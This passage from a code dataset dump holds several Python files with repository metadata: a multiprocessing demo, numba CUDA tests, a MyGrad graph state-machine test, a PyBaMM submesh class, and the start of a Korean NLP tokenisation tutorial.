"lang": "Python", "max_stars_repo_path": "PreProcess.py", "max_stars_repo_name": "mascarenhasneil/Boston-City-Employees-Analytics", "max_stars_repo_head_hexsha": "e6d884e299ded87b0f4e90b4012d9eba1e005d96", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PreProcess.py", "max_issues_repo_name": "mascarenhasneil/Boston-City-Employees-Analytics", "max_issues_repo_head_hexsha": "e6d884e299ded87b0f4e90b4012d9eba1e005d96", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PreProcess.py", "max_forks_repo_name": "mascarenhasneil/Boston-City-Employees-Analytics", "max_forks_repo_head_hexsha": "e6d884e299ded87b0f4e90b4012d9eba1e005d96", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7008130081, "max_line_length": 154, "alphanum_fraction": 0.6278104796, "include": true, "reason": "import numpy,from scipy,from statsmodels", "num_tokens": 5299, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.11596071061609144, "lm_q1q2_score": 0.05121671559681496}}
{"text": "# -*- coding: utf-8 -*-\r\n# written by mark zeng 2018-11-14\r\n# modified by Yao Zhao 2019-10-30\r\n\r\nimport multiprocessing as mp\r\nimport time\r\nimport sys\r\nimport argparse\r\nimport os\r\nimport numpy as np\r\n\r\nclass Worker(mp.Process):\r\n    def __init__ (self, inQ, outQ, random_seed):\r\n        super(Worker, self).__init__(target=self.start)\r\n        self.inQ = inQ\r\n        self.outQ = outQ\r\n        np.random.seed(random_seed)  #  \u5982\u679c\u5b50\u8fdb\u7a0b\u7684\u4efb\u52a1\u662f\u6709\u968f\u673a\u6027\u7684\uff0c\u4e00\u5b9a\u8981\u7ed9\u6bcf\u4e2a\u5b50\u8fdb\u7a0b\u4e0d\u540c\u7684\u968f\u673a\u6570\u79cd\u5b50\uff0c\u5426\u5219\u5c31\u5728\u91cd\u590d\u76f8\u540c\u7684\u7ed3\u679c\u4e86\r\n    \r\n    def run (self):\r\n        while True:\r\n            task = self.inQ.get()  # \u53d6\u51fa\u4efb\u52a1\uff0c \u5982\u679c\u961f\u5217\u4e3a\u7a7a\uff0c \u8fd9\u4e00\u6b65\u4f1a\u963b\u585e\u76f4\u5230\u961f\u5217\u6709\u5143\u7d20\r\n            x, y = task     # \u89e3\u6790\u4efb\u52a1\r\n            sum, product = sum_and_product(x, y)   # \u6267\u884c\u4efb\u52a1\r\n            self.outQ.put((sum, product))  # \u8fd4\u56de\u7ed3\u679c\r\n\r\n\r\ndef create_worker (num):\r\n    '''\r\n    \u521b\u5efa\u5b50\u8fdb\u7a0b\u5907\u7528\r\n    :param num: \u591a\u7ebf\u7a0b\u6570\u91cf\r\n    '''\r\n    for i in range(num):\r\n        worker.append(Worker(mp.Queue(), mp.Queue(), np.random.randint(0, 10 ** 9)))\r\n        worker[i].start()\r\n\r\n\r\ndef finish_worker ():\r\n    '''\r\n    \u5173\u95ed\u6240\u6709\u5b50\u7ebf\u7a0b\r\n    '''\r\n    for w in worker:\r\n        w.terminate()\r\n\r\ndef sum_and_product(x, y):\r\n    '''\r\n    \u8ba1\u7b97\u4e24\u4e2a\u6570\u7684\u548c\u4e0e\u79ef\r\n    '''\r\n    return x + y, x * y\r\n\r\nif __name__ == '__main__':\r\n    '''\r\n    \u4ece\u547d\u4ee4\u884c\u8bfb\u53c2\u6570\u793a\u4f8b\r\n    '''\r\n    print(\"\u4ece\u547d\u4ee4\u884c\u8bfb\u53c2\u6570\u793a\u4f8b\")\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument('-i', '--file_name', type=str, default='network.txt')\r\n    parser.add_argument('-s', '--seed', type=str, default='seeds.txt')\r\n    parser.add_argument('-m', '--model', type=str, default='IC')\r\n    parser.add_argument('-t', '--time_limit', type=int, default=60)\r\n\r\n    args = parser.parse_args()\r\n    file_name = args.file_name\r\n    seed = args.seed\r\n    model = args.model\r\n    time_limit = args.time_limit\r\n   \r\n    print(file_name, seed, model, time_limit)\r\n\r\n    \r\n    '''\r\n    \u591a\u8fdb\u7a0b\u793a\u4f8b\r\n    '''\r\n    print(\"\u591a\u8fdb\u7a0b\u793a\u4f8b\")\r\n    np.random.seed(0)\r\n    worker = []\r\n    worker_num = 8\r\n    create_worker(worker_num)\r\n    Task = [np.random.randint(0, 10, 2) for i in range(16)]  # \u751f\u621016\u4e2a\u968f\u673a\u4efb\u52a1\uff0c \u6bcf\u4e2a\u4efb\u52a1\u662f2\u4e2a\u6574\u6570\uff0c \u9700\u8981\u8ba1\u7b97\u4e24\u6570\u4e4b\u548c\u4e0e\u79ef\r\n    print('Task', Task)\r\n    for i, t in enumerate(Task):\r\n        worker[i % worker_num].inQ.put(t)  # \u6839\u636e\u7f16\u53f7\u53d6\u6a21\uff0c \u5c06\u4efb\u52a1\u5e73\u5747\u5206\u914d\u5230\u5b50\u8fdb\u7a0b\u4e0a\r\n    result = []\r\n    for i, t in enumerate(Task):\r\n        result.append(worker[i % worker_num].outQ.get())  # \u7528\u540c\u6837\u7684\u89c4\u5219\u53d6\u56de\u7ed3\u679c\uff0c \u5982\u679c\u4efb\u52a1\u5c1a\u672a\u5b8c\u6210\uff0c\u6b64\u5904\u4f1a\u963b\u585e\u7b49\u5f85\u5b50\u8fdb\u7a0b\u5b8c\u6210\u4efb\u52a1\r\n    print('result', result)\r\n    finish_worker()\r\n    \r\n    '''\r\n    \u7a0b\u5e8f\u7ed3\u675f\u540e\u5f3a\u5236\u9000\u51fa\uff0c\u8df3\u8fc7\u5783\u573e\u56de\u6536\u65f6\u95f4, \u5982\u679c\u6ca1\u6709\u8fd9\u4e2a\u64cd\u4f5c\u4f1a\u989d\u5916\u9700\u8981\u51e0\u79d2\u7a0b\u5e8f\u624d\u80fd\u5b8c\u5168\u9000\u51fa\r\n    '''\r\n    sys.stdout.flush()", "meta": {"hexsha": "3ef0c7f68a6e410df054ee9ea2438f4595df641f", "size": 2422, "ext": "py", "lang": "Python", "max_stars_repo_path": "CS303_Artifical-Intelligence/IMP/mutilprocessing_demo.py", "max_stars_repo_name": "Eveneko/SUSTech-Courses", "max_stars_repo_head_hexsha": "0420873110e91e8d13e6e85a974f1856e01d28d6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-11-11T11:56:57.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-11T10:05:09.000Z", "max_issues_repo_path": "CS303_Artifical-Intelligence/IMP/mutilprocessing_demo.py", "max_issues_repo_name": "Eveneko/SUSTech-Courses", "max_issues_repo_head_hexsha": "0420873110e91e8d13e6e85a974f1856e01d28d6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "CS303_Artifical-Intelligence/IMP/mutilprocessing_demo.py", "max_forks_repo_name": "Eveneko/SUSTech-Courses", "max_forks_repo_head_hexsha": "0420873110e91e8d13e6e85a974f1856e01d28d6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-01-07T04:14:11.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-27T13:41:36.000Z", "avg_line_length": 26.6153846154, "max_line_length": 96, "alphanum_fraction": 0.5792733278, "include": true, "reason": "import numpy", "num_tokens": 828, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1023047147351513, "lm_q1q2_score": 0.05115235736757565}}
{"text": "import re\nimport types\n\nimport numpy as np\nimport warnings\n\nfrom numba.cuda.testing import unittest, skip_on_cudasim, CUDATestCase\nfrom numba import cuda, jit, int32\nfrom numba.core.errors import TypingError\n\n\nclass TestDeviceFunc(CUDATestCase):\n\n    def test_use_add2f(self):\n\n        @cuda.jit(\"float32(float32, float32)\", device=True)\n        def add2f(a, b):\n            return a + b\n\n        def use_add2f(ary):\n            i = cuda.grid(1)\n            ary[i] = add2f(ary[i], ary[i])\n\n        compiled = cuda.jit(\"void(float32[:])\")(use_add2f)\n\n        nelem = 10\n        ary = np.arange(nelem, dtype=np.float32)\n        exp = ary + ary\n        compiled[1, nelem](ary)\n\n        self.assertTrue(np.all(ary == exp), (ary, exp))\n\n    def test_indirect_add2f(self):\n\n        @cuda.jit(\"float32(float32, float32)\", device=True)\n        def add2f(a, b):\n            return a + b\n\n        @cuda.jit(\"float32(float32, float32)\", device=True)\n        def indirect(a, b):\n            return add2f(a, b)\n\n        def indirect_add2f(ary):\n            i = cuda.grid(1)\n            ary[i] = indirect(ary[i], ary[i])\n\n        compiled = cuda.jit(\"void(float32[:])\")(indirect_add2f)\n\n        nelem = 10\n        ary = np.arange(nelem, dtype=np.float32)\n        exp = ary + ary\n        compiled[1, nelem](ary)\n\n        self.assertTrue(np.all(ary == exp), (ary, exp))\n\n    def _check_cpu_dispatcher(self, add):\n        @cuda.jit\n        def add_kernel(ary):\n            i = cuda.grid(1)\n            ary[i] = add(ary[i], 1)\n\n        ary = np.arange(10)\n        expect = ary + 1\n        add_kernel[1, ary.size](ary)\n        np.testing.assert_equal(expect, ary)\n\n    def test_cpu_dispatcher(self):\n        # Test correct usage\n        @jit\n        def add(a, b):\n            return a + b\n\n        self._check_cpu_dispatcher(add)\n\n    @skip_on_cudasim('not supported in cudasim')\n    def test_cpu_dispatcher_invalid(self):\n        # Test invalid usage\n        # Explicit signature disables compilation, which also disable\n        # compiling on CUDA.\n        @jit('(i4, i4)')\n        def add(a, b):\n            return a + b\n\n        # Check that the right error message is provided.\n        with self.assertRaises(TypingError) as raises:\n            self._check_cpu_dispatcher(add)\n        msg = \"Untyped global name 'add':.*using cpu function on device\"\n        expected = re.compile(msg)\n        self.assertTrue(expected.search(str(raises.exception)) is not None)\n\n    def test_cpu_dispatcher_other_module(self):\n        @jit\n        def add(a, b):\n            return a + b\n\n        mymod = types.ModuleType(name='mymod')\n        mymod.add = add\n        del add\n\n        @cuda.jit\n        def add_kernel(ary):\n            i = cuda.grid(1)\n            ary[i] = mymod.add(ary[i], 1)\n\n        ary = np.arange(10)\n        expect = ary + 1\n        add_kernel[1, ary.size](ary)\n        np.testing.assert_equal(expect, ary)\n\n    @skip_on_cudasim('not supported in cudasim')\n    def test_inspect_ptx(self):\n        @cuda.jit(device=True)\n        def foo(x, y):\n            return x + y\n\n        args = (int32, int32)\n        cres = foo.compile(args)\n\n        fname = cres.fndesc.mangled_name\n        # Verify that the function name has \"foo\" in it as in the python name\n        self.assertIn('foo', fname)\n\n        ptx = foo.inspect_ptx(args)\n        # Check that the compiled function name is in the PTX.\n        self.assertIn(fname, ptx.decode('ascii'))\n\n    @skip_on_cudasim('not supported in cudasim')\n    def test_inspect_llvm(self):\n        @cuda.jit(device=True)\n        def foo(x, y):\n            return x + y\n\n        args = (int32, int32)\n        cres = foo.compile(args)\n\n        fname = cres.fndesc.mangled_name\n        # Verify that the function name has \"foo\" in it as in the python name\n        self.assertIn('foo', fname)\n\n        llvm = foo.inspect_llvm(args)\n        # Check that the compiled function name is in the LLVM.\n        self.assertIn(fname, llvm)\n\n    @skip_on_cudasim('not supported in cudasim')\n    def test_deprecated_eager_device(self):\n        with warnings.catch_warnings(record=True) as w:\n            cuda.jit('int32(int32)', device=True)\n\n        self.assertEqual(len(w), 1)\n        self.assertIn('Eager compilation of device functions is deprecated',\n                      str(w[0].message))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "53959ff6d28c51b53f50168e9116f6aa2e0afb2e", "size": 4356, "ext": "py", "lang": "Python", "max_stars_repo_path": "numba/cuda/tests/cudapy/test_device_func.py", "max_stars_repo_name": "skailasa/numba", "max_stars_repo_head_hexsha": "38ab89dd369a14b8826d3fa30d080aa083aed00b", "max_stars_repo_licenses": ["BSD-2-Clause", "BSD-3-Clause"], "max_stars_count": 6620, "max_stars_repo_stars_event_min_datetime": "2015-01-04T08:51:04.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T12:52:18.000Z", "max_issues_repo_path": "numba/cuda/tests/cudapy/test_device_func.py", "max_issues_repo_name": "skailasa/numba", "max_issues_repo_head_hexsha": "38ab89dd369a14b8826d3fa30d080aa083aed00b", "max_issues_repo_licenses": ["BSD-2-Clause", "BSD-3-Clause"], "max_issues_count": 6457, "max_issues_repo_issues_event_min_datetime": "2015-01-04T03:18:41.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T17:38:42.000Z", "max_forks_repo_path": "numba/cuda/tests/cudapy/test_device_func.py", "max_forks_repo_name": "skailasa/numba", "max_forks_repo_head_hexsha": "38ab89dd369a14b8826d3fa30d080aa083aed00b", "max_forks_repo_licenses": ["BSD-2-Clause", "BSD-3-Clause"], "max_forks_count": 930, "max_forks_repo_forks_event_min_datetime": "2015-01-25T02:33:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T14:10:32.000Z", "avg_line_length": 27.9230769231, "max_line_length": 77, "alphanum_fraction": 0.5821854913, "include": true, "reason": "import numpy,from numba", "num_tokens": 1118, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10230470583990363, "lm_q1q2_score": 0.051152352919951814}}
{"text": "\"\"\"\nTests Tensor/Operation implementation that uses topological sorting against the naive implementation.\n\nHere, a rule-based state machine constructs computational graphs via 'rules' by which nodes (tensors)\nare 'fused' via addition and multiplication operations. The state machine create and fuse nodes in\nany patterns, invoke `null_gradients` and `clear_graph` arbitrarily as well.\n\nThe values and gradients of the nodes in the mygrad and naive graphs must match as an invariant to\nany permutation of test states (i.e. permutations of the aforementioned rules)\"\"\"\n\nfrom typing import List, Tuple\n\nimport hypothesis.strategies as st\nfrom hypothesis import assume, settings\nfrom hypothesis.stateful import Bundle, RuleBasedStateMachine, invariant, rule\nfrom numpy.testing import assert_allclose, assert_equal\nfrom pytest import raises\n\nfrom mygrad import Tensor, add, multiply\nfrom mygrad.errors import InvalidBackprop\nfrom tests.utils.stateful import clear_all_mem_locking_state\n\nfrom .simple_graph import Node, _add, _multiply\n\n\ndef _node_ID_str(num):\n    return \"v{}\".format(num + 1)\n\n\n@settings(max_examples=125, stateful_step_count=100, deadline=None)\nclass GraphCompare(RuleBasedStateMachine):\n    def __init__(self):\n        super().__init__()\n        # stores the corresponding node/tensor v1, v2, ... as they are\n        # created via the unit test (through `create_node` or `fuse_nodes`)\n        # `Node` is the naive implementation of `Tensor` that we are checking\n        # against\n        self.node_list = []  # type: List[Tuple[Node, Tensor]]\n        self.str_to_tensor_op = {\"add\": add, \"multiply\": multiply}\n        self.str_to_node_op = {\"add\": _add, \"multiply\": _multiply}\n        self.raised = False\n\n    nodes = Bundle(\"nodes\")\n\n    @rule(target=nodes, value=st.floats(-10, 10), constant=st.booleans())\n    def create_node(self, value, constant):\n        n = Node(value, constant=constant)\n        t = Tensor(value, constant=constant)\n        self.node_list.append((n, t))\n        return n, t\n\n    @rule(\n        target=nodes,\n        a=nodes,\n        b=nodes,\n        op=st.sampled_from([\"add\", \"multiply\"]),\n        constant=st.sampled_from([True, None]),\n    )\n    def fuse_nodes(self, a, b, op, constant):\n        \"\"\"\n        Combine any pair of nodes (tensors) using either addition or multiplication, producing\n        a new node (tensor)\"\"\"\n        n_a, t_a = a  # type: Node, Tensor\n        n_b, t_b = b  # type: Node, Tensor\n        n_op = self.str_to_node_op[op]\n        t_op = self.str_to_tensor_op[op]\n        out = (\n            n_op(n_a, n_b, constant=bool(constant)),\n            t_op(t_a, t_b, constant=constant),\n        )\n        self.node_list.append(out)\n        return out\n\n    @rule(items=nodes)\n    def clear_graph(self, items):\n        \"\"\"\n        Invoke `clear_graph` on the computational graph (naive and mygrad)\n        \"\"\"\n        n, t = items  # type: Node, Tensor\n        n.clear_graph()\n        t.clear_graph()\n\n    @rule(items=nodes, grad=st.floats(-10, 10))\n    def backprop(self, items, grad):\n        \"\"\"\n        Invoke `backward(grad)` on the computational graph (naive and mygrad) from a randomly-selected\n        node in the computational graph and using a randomly-generated gradient value.\n\n        An exception should be raised if `clear_graph` is invoked anywhere prior to the invoking node.\n        \"\"\"\n        n, t = items  # type: Node, Tensor\n        try:\n            n.backward(grad, terminal_node=True)\n        except InvalidBackprop:\n            with raises(InvalidBackprop):\n                t.backward(grad)\n            self.raised = True\n            assume(False)\n        else:\n            t.backward(grad)\n            assert not t._accum_ops\n            assert not t._ops\n            assert not t.creator\n\n    @invariant()\n    def all_agree(self):\n        \"\"\"\n        Ensure that all corresponding nodes/tensors have matching data and gradients\n        across the respective graphs.\n        \"\"\"\n        assert not self.raised, (\n            \"there is a problem with the state machine: \"\n            \"invalid-backprop should be marked as 'assumed false' \"\n            \"by Hypothesis\"\n        )\n        for num, (n, t) in enumerate(self.node_list):\n            assert bool(n._ops) is bool(t._ops), _node_ID_str(num)\n            assert_equal(n.data, t.data, err_msg=_node_ID_str(num))\n            if n.grad is None or t.grad is None:\n                assert n.grad is t.grad, _node_ID_str(num)\n            else:\n                assert_allclose(\n                    actual=t.grad,\n                    desired=n.grad,\n                    atol=1e-5,\n                    rtol=1e-5,\n                    err_msg=_node_ID_str(num),\n                )\n            assert not t._accum_ops, _node_ID_str(num)\n\n    def teardown(self):\n        clear_all_mem_locking_state()\n\n\nTestGraphComparison = GraphCompare.TestCase\n", "meta": {"hexsha": "c42e0cedfdc2a83e48141118d698a4f6f34671f3", "size": 4876, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/state_testing/test_simple_graph_state.py", "max_stars_repo_name": "kw-0/MyGrad", "max_stars_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 147, "max_stars_repo_stars_event_min_datetime": "2018-07-14T01:37:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T06:37:58.000Z", "max_issues_repo_path": "tests/state_testing/test_simple_graph_state.py", "max_issues_repo_name": "kw-0/MyGrad", "max_issues_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 223, "max_issues_repo_issues_event_min_datetime": "2018-05-31T14:13:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-27T18:53:49.000Z", "max_forks_repo_path": "tests/state_testing/test_simple_graph_state.py", "max_forks_repo_name": "kw-0/MyGrad", "max_forks_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2018-06-17T14:42:05.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-31T00:21:09.000Z", "avg_line_length": 35.8529411765, "max_line_length": 102, "alphanum_fraction": 0.6294093519, "include": true, "reason": "from numpy", "num_tokens": 1117, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10230469899740587, "lm_q1q2_score": 0.05115234949870293}}
{"text": "import numpy as np\n\n\ndef ensure_random_state(random_state):\n    \"\"\"Derive PRNG from given random state.\n\n    Parameters\n    ----------\n    random_state : int or numpy.random.Generator\n        Either an integer used to seed numpy's default PRNG, or an already\n        seeded PRNG.\n\n    Returns\n    -------\n    random_state : numpy.random.Generator\n        The derived PRNG.\n    \"\"\"\n    if isinstance(random_state, np.random.Generator):\n        return random_state\n    return np.random.default_rng(random_state)\n", "meta": {"hexsha": "61605d0333507e80832f9d34d0d7a0469499bdd8", "size": 510, "ext": "py", "lang": "Python", "max_stars_repo_path": "random_state.py", "max_stars_repo_name": "nkoep/regression-trees", "max_stars_repo_head_hexsha": "cc3a445fdce7cf70eb645f8a6c1623d2bc2c7dea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "random_state.py", "max_issues_repo_name": "nkoep/regression-trees", "max_issues_repo_head_hexsha": "cc3a445fdce7cf70eb645f8a6c1623d2bc2c7dea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "random_state.py", "max_forks_repo_name": "nkoep/regression-trees", "max_forks_repo_head_hexsha": "cc3a445fdce7cf70eb645f8a6c1623d2bc2c7dea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2857142857, "max_line_length": 74, "alphanum_fraction": 0.662745098, "include": true, "reason": "import numpy", "num_tokens": 108, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.10818896462614716, "lm_q1q2_score": 0.051139135931452265}}
{"text": "#\n# Zero dimensional submesh\n#\nimport pybamm\nfrom .meshes import SubMesh\n\nimport numpy as np\n\n\nclass SubMesh0D(SubMesh):\n    \"\"\"\n    0D submesh class.\n    Contains the position of the node.\n\n    Parameters\n    ----------\n    position : dict\n        A dictionary that contains the position of the 0D submesh (a signle point)\n        in space\n    npts : dict, optional\n        Number of points to be used. Included for compatibility with other meshes,\n        but ignored by this mesh class\n\n    **Extends:\"\": :class:`pybamm.SubMesh`\n    \"\"\"\n\n    def __init__(self, position, npts=None):\n        # Remove tabs\n        position.pop(\"tabs\", None)\n\n        # check that only one variable passed in\n        if len(position) != 1:\n            raise pybamm.GeometryError(\"position should only contain a single variable\")\n\n        # extract the position\n        position = list(position.values())[0]\n        spatial_position = position[\"position\"]\n        self.nodes = np.array([spatial_position])\n        self.edges = np.array([spatial_position])\n        self.coord_sys = None\n        self.npts = 1\n\n    def add_ghost_meshes(self):\n        # No ghost meshes to be added to this class\n        pass\n", "meta": {"hexsha": "c443add1b1030cfd2796d240a19c12b16fbb5944", "size": 1189, "ext": "py", "lang": "Python", "max_stars_repo_path": "pybamm/meshes/zero_dimensional_submesh.py", "max_stars_repo_name": "manjunathnilugal/PyBaMM", "max_stars_repo_head_hexsha": "65d5cba534b4f163670e753714964aaa75d6a2d2", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 330, "max_stars_repo_stars_event_min_datetime": "2019-04-17T11:36:57.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T16:49:55.000Z", "max_issues_repo_path": "pybamm/meshes/zero_dimensional_submesh.py", "max_issues_repo_name": "masoodtamaddon/PyBaMM", "max_issues_repo_head_hexsha": "a31e2095600bb92e913598ac4d02b2b6b77b31c1", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1530, "max_issues_repo_issues_event_min_datetime": "2019-03-26T18:13:03.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T16:12:53.000Z", "max_forks_repo_path": "pybamm/meshes/zero_dimensional_submesh.py", "max_forks_repo_name": "masoodtamaddon/PyBaMM", "max_forks_repo_head_hexsha": "a31e2095600bb92e913598ac4d02b2b6b77b31c1", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 178, "max_forks_repo_forks_event_min_datetime": "2019-03-27T13:48:04.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T09:30:11.000Z", "avg_line_length": 25.847826087, "max_line_length": 88, "alphanum_fraction": 0.6291000841, "include": true, "reason": "import numpy", "num_tokens": 278, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.10818895312434518, "lm_q1q2_score": 0.05113913049474052}}
{"text": "import myutil as mu\n\n################################################################################\n# - \uc790\uc5f0\uc5b4 \ucc98\ub9ac \uc804\ucc98\ub9ac \uc774\ud574\ud558\uae30\n#   - \uc790\uc5f0\uc5b4 \ucc98\ub9ac\ub294 \uc77c\ubc18\uc801\uc73c\ub85c \ud1a0\ud070\ud654, \ub2e8\uc5b4 \uc9d1\ud569 \uc0dd\uc131, \uc815\uc218 \uc778\ucf54\ub529, \ud328\ub529, \ubca1\ud130\ud654\uc758 \uacfc\uc815\uc744 \uac70\uce69\ub2c8\ub2e4.\n#   - \uc774\ubc88 \ucc55\ud130\uc5d0\uc11c\ub294 \uc774\ub7ec\ud55c \uc804\ubc18\uc801\uc778 \uacfc\uc815\uc5d0 \ub300\ud574\uc11c \uc774\ud574\ud569\ub2c8\ub2e4.\n\n\n################################################################################\n# - spaCy \uc0ac\uc6a9\ud558\uae30\n#\n# ```\n# pip install spacy\n# python3 -m spacy download en\n# ```\n\nimport spacy\n\nen_text = \"A Dog Run back corner near spare bedrooms\"\nspacy_en = spacy.load(\"en\")\nmu.log(\"spacy_en\", spacy_en)\n\n\ndef tokenize(en_text):\n    return [\n        tok.text\n        for tok in spacy_en.tokenizer(en_text)\n    ]\n\n\nmu.log(\"tokenize(en_text)\", tokenize(en_text))\n\n################################################################################\n# - NLTK \uc0ac\uc6a9\ud558\uae30\n#\n# ```\n# pip install nltk\n# ```\n#\n\nimport nltk\nfrom nltk.tokenize import word_tokenize\n\nnltk.download(\"punkt\")\nmu.log(\"word_tokenize(en_text)\", word_tokenize(en_text))\n\n################################################################################\n# - \ub744\uc5b4\uc4f0\uae30\ub85c \ud1a0\ud070\ud654\n\nmu.log(\"en_text.split()\", en_text.split())\n\n################################################################################\n# - \ub744\uc5b4\uc4f0\uae30\ub85c \ud1a0\ud070\ud654\n#   - \uc704\uc758 \uc608\uc81c\uc5d0\uc11c\ub294 '\uc0ac\uacfc'\ub780 \ub2e8\uc5b4\uac00 \ucd1d 4\ubc88 \ub4f1\uc7a5\ud588\ub294\ub370\n#   - \ubaa8\ub450 '\uc758', '\ub97c', '\uac00', '\ub791' \ub4f1\uc774 \ubd99\uc5b4\uc788\uc5b4\n#   - \uc774\ub97c \uc81c\uac70\ud574\uc8fc\uc9c0 \uc54a\uc73c\uba74 \uae30\uacc4\ub294 \uc804\ubd80 \ub2e4\ub978 \ub2e8\uc5b4\ub85c \uc778\uc2dd\ud558\uac8c \ub429\ub2c8\ub2e4.\n\nkor_text = \"\uc0ac\uacfc\uc758 \ub180\ub77c\uc6b4 \ud6a8\ub2a5\uc774\ub77c\ub294 \uae00\uc744 \ubd24\uc5b4. \uadf8\ub798\uc11c \uc624\ub298 \uc0ac\uacfc\ub97c \uba39\uc73c\ub824\uace0 \ud588\ub294\ub370 \uc0ac\uacfc\uac00 \uc369\uc5b4\uc11c \uc288\ud37c\uc5d0 \uac00\uc11c \uc0ac\uacfc\ub791 \uc624\ub80c\uc9c0 \uc0ac\uc654\uc5b4\"\nmu.log(\"kor_text.split()\", kor_text.split())\n\n################################################################################\n# - \ud615\ud0dc\uc18c \ud1a0\ud070\ud654\n#   - \uc704\uc640 \uac19\uc740 \uc0c1\ud669\uc744 \ubc29\uc9c0\ud558\uae30 \uc704\ud574\uc11c \ud55c\uad6d\uc5b4\ub294 \ubcf4\ud3b8\uc801\uc73c\ub85c '\ud615\ud0dc\uc18c \ubd84\uc11d\uae30'\ub85c \ud1a0\ud070\ud654\ub97c \ud569\ub2c8\ub2e4.\n#   - \uc5ec\uae30\uc11c\ub294 \ud615\ud0dc\uc18c \ubd84\uc11d\uae30 \uc911\uc5d0\uc11c mecab\uc744 \uc0ac\uc6a9\ud574\ubcf4\uaca0\uc2b5\ub2c8\ub2e4.\n#   - \uc544\ub798\uc758 \ucee4\ub9e8\ub4dc\ub85c colab\uc5d0\uc11c mecab\uc744 \uc124\uce58\ud569\ub2c8\ub2e4.\n#   - \uc55e\uc120 \uc608\uc640 \ub2e4\ub974\uac8c '\uc758', '\ub97c', '\uac00', '\ub791' \ub4f1\uc774 \uc804\ubd80 \ubd84\ub9ac\ub418\uc5b4 \uae30\uacc4\ub294 '\uc0ac\uacfc'\ub77c\ub294 \ub2e8\uc5b4\ub97c \ud558\ub098\uc758 \ub2e8\uc5b4\ub85c \ucc98\ub9ac\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n#\n# ```\n# git clone https://github.com/SOMJANG/Mecab-ko-for-Google-Colab.git\n# cd Mecab-ko-for-Google-Colab\n# chmod u+x install_mecab-ko_on_colab190912.sh\n# ./install_mecab-ko_on_colab190912.sh\n# ```\n\n\nfrom konlpy.tag import Mecab\n\ntokenizer = Mecab()\nmu.log(\"tokenizer.morphs(kor_text)\", tokenizer.morphs(kor_text))\n\n################################################################################\n# - \ub2e8\uc5b4 \uc9d1\ud569(Vocabulary) \uc0dd\uc131\n#   - \ub2e8\uc5b4 \uc9d1\ud569(vocabuary)\uc774\ub780 \uc911\ubcf5\uc744 \uc81c\uac70\ud55c \ud14d\uc2a4\ud2b8\uc758 \ucd1d \ub2e8\uc5b4\uc758 \uc9d1\ud569(set)\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.\n#   - \uc6b0\uc120, \uc2e4\uc2b5\uc744 \uc704\ud574\uc11c \uae43\ud5c8\ube0c\uc5d0\uc11c '\ub124\uc774\ubc84 \uc601\ud654 \ub9ac\ubdf0 \ubd84\ub958\ud558\uae30' \ub370\uc774\ud130\ub97c \ub2e4\uc6b4\ub85c\ub4dc\ud558\uaca0\uc2b5\ub2c8\ub2e4.\n#   - \ub124\uc774\ubc84 \uc601\ud654 \ub9ac\ubdf0 \ub370\uc774\ud130\ub294 